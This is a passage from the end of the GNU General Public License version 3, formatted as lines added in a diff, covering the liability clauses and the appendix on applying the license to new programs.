OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +.